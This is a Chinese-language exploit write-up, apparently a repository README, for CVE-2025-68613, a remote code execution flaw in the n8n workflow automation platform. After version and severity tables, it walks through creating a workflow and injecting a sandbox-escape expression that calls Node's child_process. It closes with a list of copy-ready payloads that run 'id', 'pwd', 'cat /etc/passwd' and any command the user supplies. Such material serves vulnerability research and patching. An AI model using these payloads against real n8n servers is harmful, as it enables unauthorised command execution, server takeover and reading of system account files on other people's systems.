Matrix GIF
CVE-2025-68613 是 n8n 工作流自动化平台中的一个严重远程代码执行漏洞,允许经过身份验证的攻击者通过表达式注入执行任意系统命令。
⚡ 快速统计
|
🎯 关键事实
|
| 属性 | 值 |
|---|---|
| 🆔 CVE ID | CVE-2025-68613 |
| 📊 CVSS 评分 | 9.9(严重)🔴 |
| 🔗 CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913(对动态管理代码资源控制不当) |
| 📦 受影响版本 | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ 已修补版本 | 1.120.4, 1.121.1, 1.122.0+ |
n8n 是一个开源工作流自动化平台,支持与 400 多个应用进行无代码/低代码集成。广泛部署于以下场景:
| 🏢 使用场景 | 📝 描述 |
|---|---|
| 🔧 DevOps | 自动化流水线、CI/CD 集成 |
| 🛡️ 安全运维 | SOAR 工作流、应急响应 |
| 💼 业务 | 流程自动化、数据工作流 |
| 📊 数据 | ETL 流程、API 集成 |
🔓 漏洞链条:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n 表达式语言 → 动态数据处理 │
│ ↓ │
│ ⚠️ 服务端评估中沙箱隔离不足 │
│ ↓ │
│ 💀 恶意表达式绕过沙箱 │
│ ↓ │
│ 🖥️ 访问 Node.js 的 child_process 模块 │
│ ↓ │
│ 💥 完全远程代码执行 - 操作系统命令执行 │
└─────────────────────────────────────────────────────────────────┘
利用前提条件:
| # | 📋 条件 | 📝 详情 |
|---|---|---|
| 1️⃣ | 认证 | 有效的 n8n 用户账户(低权限即可) |
| 2️⃣ | 权限 | 创建工作流/编辑工作流的能力 |
| 3️⃣ | 网络访问 | 能够连接到 n8n 实例 |
| 🏷️ 属性 | 📊 值 | 🔥 风险 |
|---|---|---|
| 复杂度 | 低 (AC:L) | 🔴 高 |
| 用户交互 | 无需 | 🔴 高 |
| 范围 | 已变更 | 🔴 严重 |
graph TD
A[🔐 已认证用户] -->|创建| B[📝 新工作流]
B -->|注入| C[💀 恶意表达式]
C -->|触发| D[⚡ 表达式求值]
D -->|利用| E[🔓 沙箱绕过]
E -->|访问| F[🖥️ Node.js 运行时]
F -->|执行| G[💥 通过 child_process 执行 OS 命令]
G -->|实现| H[☠️ 完全服务器沦陷]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ 免责声明:以下内容仅用于教育目的。未经授权的利用是非法的。
初始访问易受攻击的 n8n 工作流自动化平台。
🔓 n8n 欢迎仪表盘 - 入口点
创建一个将包含恶意负载的新工作流。
📝 使用“添加第一步”创建新工作流
配置工作流触发器 - 手动触发器允许按需执行。
🎯 选择手动触发器以激活工作流
添加“编辑字段 (Set)”节点,该节点将包含恶意表达式。
🔧 添加“编辑字段 (Set)”节点用于注入有效负载
关键步骤 - 注入沙箱绕过表达式以实现远程代码执行。
💀 恶意表达式成功执行 'id' 命令!
// 🔴 恶意负载 (请勿非法使用)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
输出显示: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE 确认!
Code Injection GIF
⚠️ 警告:这些有效负载仅用于授权的安全测试。未经授权使用是非法的!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}